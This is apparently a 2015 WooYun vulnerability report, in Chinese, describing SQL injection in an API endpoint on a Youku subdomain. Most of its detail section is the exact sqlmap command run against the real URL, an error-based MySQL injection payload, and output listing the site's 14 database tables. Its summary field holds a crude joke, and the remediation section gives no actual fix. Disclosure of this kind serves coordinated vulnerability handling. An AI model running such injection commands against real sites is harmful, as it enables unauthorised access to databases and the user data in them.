优酷网某站SQL注射漏洞

编号102649
Urlhttp://www.wooyun.org/bug.php?action=view&id=102649
漏洞状态厂商已经确认
漏洞标题优酷网某站SQL注射漏洞
漏洞类型SQL注射漏洞
厂商优酷
白帽子卡卡
提交日期2015-03-20 18:23:00
公开日期2015-05-04 18:40:00
修复时间(not set)
确认时间2015-03-20 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
    一男子去吃饭,点了牛鞭这道菜,菜端上来了,男子故意调戏问服务员,这是什么,女服务员害羞的没说话,男子得意的夹了一块刚想往嘴里放,服务员说这个东西是往牛B里放的。
漏洞细节

注射链接:

http://allthingshair.youku.com/api/index.php?r=video/GetAccountVideoLastWeekByCategoryIdHasSpecialVideo


QQ图片20150320175154.png


sqlmap.py -u "http://allthingshair.youku.com/api/index.php?r=
video/GetAccountVideoLastWeekByCategoryIdHasSpecialVideo" --data "categoryId=" -
-technique E --dbms="mysql" --tables -D allthingshair
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150301}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:44:09
[18:44:10] [WARNING] provided value for parameter 'categoryId' is empty. Please,
always use only valid parameter values so sqlmap could be able to run properly
[18:44:10] [INFO] testing connection to the target URL
[18:44:11] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: categoryId (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: categoryId=' AND (SELECT 8931 FROM(SELECT COUNT(*),CONCAT(0x7170766
b71,(SELECT (ELT(8931=8931,1))),0x71626a7071,FLOOR(RAND(0)*2))x FROM INFORMATION
_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MzQo'='MzQo
---
[18:44:12] [INFO] testing MySQL
[18:44:12] [INFO] confirming MySQL
[18:44:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[18:44:12] [INFO] fetching tables for database: 'allthingshair'
[18:44:13] [INFO] the SQL query used returns 14 entries
[18:44:14] [INFO] retrieved: attribute_list
[18:44:15] [INFO] retrieved: category_list
[18:44:15] [INFO] retrieved: comment_list
[18:44:20] [INFO] retrieved: daily_video_account
[18:44:20] [INFO] retrieved: hot_topic_video
[18:44:21] [INFO] retrieved: keyword_count
[18:44:22] [INFO] retrieved: member_youku
[18:44:23] [INFO] retrieved: product_list
[18:44:24] [INFO] retrieved: subscribe_list
[18:44:24] [INFO] retrieved: video_attribute_list
[18:44:25] [INFO] retrieved: video_favour
[18:44:26] [INFO] retrieved: video_main_list
[18:44:27] [INFO] retrieved: video_minor_list
[18:44:28] [INFO] retrieved: vlogger_list
Database: allthingshair
[14 tables]
+----------------------+
| attribute_list |
| category_list |
| comment_list |
| daily_video_account |
| hot_topic_video |
| keyword_count |
| member_youku |
| product_list |
| subscribe_list |
| video_attribute_list |
| video_favour |
| video_main_list |
| video_minor_list |
| vlogger_list |
+----------------------+


POC

QQ图片20150320175154.png

修复方案

你们懂得

状态信息 2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向核心白帽子及相关领域专家公开
2015-04-09: 细节向普通白帽子公开
2015-04-19: 细节向实习白帽子公开
2015-05-04: 细节向公众公开
厂商回复感谢提交,马上处理!
回应信息危害等级:高漏洞Rank:15 确认时间:2015-03-20 18:38
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

@小川 下次清淡点

卡卡02015-03-20 22:44:00

太重口味了

小川02015-03-20 21:19:00